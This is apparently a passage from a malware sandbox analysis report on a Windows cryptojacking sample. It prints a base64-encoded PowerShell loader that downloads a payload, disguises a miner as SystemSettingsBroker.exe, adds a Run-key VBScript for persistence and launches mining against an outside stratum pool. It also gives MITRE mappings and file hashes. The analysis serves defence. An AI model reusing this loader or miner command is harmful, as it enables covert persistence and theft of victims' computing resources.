QAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAHMAcgBjACAAIAA9ACAAKABSAGUAcwBvAGwAdgBlAC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABQAGEAdABoACkALgBQAGEAdABoAAoAIAAgACAAIAAkAGQAZQBzAHQAIAA9ACAAKABSAGUAcwBvAGwAdgBlAC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABzAGgAZQBsAGwAIAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAKACAAIAAgACAAJAB6AGkAcAAgACAAIAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABzAHIAYwApAAoAIAAgACAAIAAkAHQAYQByAGcAZQB0ACAAPQAgACQAcwBoAGUAbABsAC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGQAZQBzAHQAKQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAegBpAHAAKQAgACAAIAAgAHsAIAB0AGgAcgBvAHcAIAAiAFoASQBQACAAbwBwAGUAbgAgAGYAYQBpAGwAZQBkADoAIAAkAHMAcgBjACIAIAB9AAoAIAAgACAAIABpAGYAIAAoACQAbgB1AGwAbAAgAC0AZQBxACAAJAB0AGEAcgBnAGUAdAApACAAewAgAHQAaAByAG8AdwAgACIARABlAHMAdAAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQA6ACAAJABkAGUAcwB0ACIAIAB9AAoAIAAgACAAIAAkAHQAYQByAGcAZQB0AC4AQwBvAHAAeQBIAGUAcgBlACgAJAB6AGkAcAAuAEkAdABlAG0AcwAoACkALAAgADAAeAAxADQAKQAKACAAIAAgACAAJABkAGUAYQBkAGwAaQBuAGUAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAFMAZQBjAG8AbgBkAHMAKAAxADUAKQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBsAHQAIAAkAGQAZQBhAGQAbABpAG4AZQApACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABkAGUAcwB0ACAALQBGAG8AcgBjAGUAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACkALgBDAG8AdQBuAHQAIAAtAGcAdAAgADAAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAyADAAMAAKACAAIAAgACAAfQAKAH0ACgAKAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAALQBSAHUAbgBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAJAByAHUAbgBuAGkAbgBnACAAIAAgAD0AIABUAGUAcwB0AC0AQQBwAHAAUgB1AG4AbgBpAG4AZwAgAC0AUAByAG8AYwBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlAAoAJABlAHgAZQBFAHgAaQBzAHQAcwAgAD0AIABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABFAHgAZQBQAGEAdABoAAoACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGUAeABlAEUAeABpAHMAdABzACAALQBhAG4AZAAgAC0AbgBvAHQAIAAkAHIAdQBuAG4AaQBuAGcAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAWgBpAHAAUABhAHQAaAAgACAAIAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAGcAdQBhAHIAZAAuAHYAYgBzACcAKQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0ACgAKACAAIAAgACAARwBlAHQALQBGAGkAbABlAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBVAHIAbAAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAFoAaQBwAFAAYQB0AGgACgAgACAAIAAgAEUAeABwAGEAbgBkAC0AWgBpAHAAVwBpAHQAaABGAGEAbABsAGIAYQBjAGsAIAAtAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAKAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAATQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJABFAHgAZQBQAGEAdABoACAALQBGAG8AcgBjAGUACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAB0AGgAcgBvAHcAIAAiAHIAZQBhAGQAbQBlAC4AbQBkACAAbQBpAHMAcwBpAG4AZwAgAGkAbgAgAHoAaQBwACIACgAgACAAIAAgAH0ACgAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABmACAAaQBuACAAQAAoACQAWgBpAHAAUABhAHQAaAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAFMAdABhAHIAdAAuAGIAYQB0ACcAKQAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAFMAdABhAHIAdAAtAFEAdQBhAG4AdAB1AHMALgBiAGEAdAAnACkAKQApACAAewAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoAfQAKAAoAJABtAGkAbgBlAHIAQwBtAGQAVgBiAHMAIAA9ACAAJwAiACIAJwAgACsAIAAkAEUAeABlAFAAYQB0AGgAIAArACAAJwAiACIAIAAtAC0AdQByAGwAIAAnACAAKwAgACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgACsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnACAALQAtAHUAcwBlAHIAIAAnACAAKwAgACQAVQBzAGUAcgBBAHIAZwAKAAoAJABzAHQAYQByAHQAVgBiAHMAIAA9ACAAQAAiAAoARABpAG0AIABzAGgALAAgAGEAcABwACwAIAByAHUAbgBLAGUAeQAsACAAcgB1AG4AVgBhAGwACgBEAGkAbQAgAHcAbQBpACwAIABwAHIAbwBjAHMALAAgAGYAbwB1AG4AZAAsACAAcAAKAGEAcABwACAAPQAgACIAJABBAHAAcABOAGEAbQBlACIACgByAHUAbgBLAGUAeQAgAD0AIAAiAEgASwBDAFUAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiAAoAUwBlAHQAIABzAGgAIAA9ACAAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAFcASABFAFIARQAgAE4AYQBtAGUAPQAnACIAIAAmACAAYQBwAHAAIAAmACAAIgAuAGUAeABlACcAIgApAAoAZgBvAHUAbgBkACAAPQAgAEYAYQBsAHMAZQAKAEYAbwByACAARQBhAGMAaAAgAHAAIABJAG4AIABwAHIAbwBjAHMACgAgACAAIAAgAGYAbwB1AG4AZAAgAD0AIABUAHIAdQBlAAoATgBlAHgAdAAKAEkAZgAgAE4AbwB0ACAAZgBvAHUAbgBkACAAVABoAGUAbgAKACAAIAAgACAAcwBoAC4AQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgAD0AIAAiACQAVABhAHIAZwBlAHQARABpAHIAIgAKACAAIAAgACAAcwBoAC4AUgB1AG4AIAAiACQAbQBpAG4AZQByAEMAbQBkAFYAYgBzACIALAAgADAALAAgAEYAYQBsAHMAZQAKAEUAbgBkACAASQBmAAoAIgBAAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAFYAYgBzAFAAYQB0AGgALAAgACQAcwB0AGEAcgB0AFYAYgBzACwAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlACkACgAKACQAcgB1AG4AVgBhAGwAdQBlACAAPQAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACAAKwAgACQAVgBiAHMAUABhAHQAaAAgACsAIAAnACIAJwAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsACAAfQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACAALQBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlACAALQBWAGEAbAB1AGUAIAAkAHIAdQBuAFYAYQBsAHUAZQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAQQBzAHMAZQByAHQALQBTAHQAYQByAHQAdQBwAEUAbgBhAGIAbABlAGQAIAAtAFIAdQBuAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAHcAcwBjAHIAaQBwAHQALgBlAHgAZQAnACkAIAB7ACAAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAJABWAGIAcwBQAGEAdABoACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABWAGIAcwBQAGEAdABoACAAfQAKAH0A
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:4844
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        5⤵
        
        PID:4420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3d2eacf29ec6bc70e0fad1f074b16c862ecfb21b609a4bfe3d695a98b0df9369
MD5 b189d8d73ba950ec1a1562aa98402d1c
SHA1 b091e1155179bb1b3f53ee89c80d4d529e890e5d
SHA512 5bd2f66dba5add2b60ec037f927d335abc31189c7d5518963b8c8d3e90a93a59fe2c160d9e6f361fafffa8c7c3eb4a681867282616317e416cb2a8d175f41ebb
TLSH
T11281D0313275F0D4C8567F07292819D463BF4386EA58AF4CB25C621ED92751BDB121F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 238B
SHA256 8c3b28489e24dc7f6ca9885507ca2c976aa026deef25ef4944e242a7f80f683e
MD5 54ece75dba206e4bbaae0f678f1f7b0d
SHA1 e308889de987f8f5f29f3c4fc5d2034b43df67cd
SHA512 c0a82c2f05278ff91b67e412e4cc1787b5a12b25249a158ba84966a057b5f189bd7bbc08956a0ba7a37311c90f0d634dbb5f2a4764ce819078e9706dc2161e55
TLSH
T1EFD08061F765D430C8C31A78C04E65117B1589634487AE267E44813C96675C4DF72771
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fleltvmh.xga.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fleltvmh.xga.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

start.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
Size 1KB
SHA256 262ee7727a0c9495a6a27a049ca1c5eb91d92977abb578df89b6c12d22a8629c
MD5 f305a71e8fe05f8e779585b37033e9c7
SHA1 a06c4188cd3e9d5c2074cca1f4f214856481dca2
SHA512 82fbce42a65b4b21b93b94e318f84d88919353c02ce82872cf9120169f597fe2bb84bd0f372a1d29c6cb9e1e02504c06a3f53746e9f4793b50ad698c45afd76f
TLSH
T19331E540A7FD5548F3F36F568AB899794B7B7D9A6E7AC24C00900A4E1A72E04DC31B33
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3796-23-0x000001E99BBE0000-0x000001E99BBF0000-memory.dmp

Download

memory/3796-1-0x000001E99BBE0000-0x000001E99BBF0000-memory.dmp

Download

memory/3796-2-0x000001E99BB90000-0x000001E99BBB2000-memory.dmp

Download

memory/3796-10-0x000001E99E760000-0x000001E99E922000-memory.dmp

Download

memory/3796-0-0x000001E99BBE0000-0x000001E99BBF0000-memory.dmp

Download

memory/3796-24-0x000001E99BBE0000-0x000001E99BBF0000-memory.dmp

Download

memory/4232-12-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-22-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-25-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-26-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-27-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-29-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download

memory/4232-31-0x000001F76EF10000-0x000001F76EF1A000-memory.dmp

Download

memory/4232-30-0x000001F76F180000-0x000001F76F192000-memory.dmp

Download

memory/4232-21-0x000001F76EEF0000-0x000001F76EF14000-memory.dmp

Download

memory/4232-20-0x000001F76EEF0000-0x000001F76EF1A000-memory.dmp

Download

memory/4232-11-0x000001F76C7E0000-0x000001F76C7F0000-memory.dmp

Download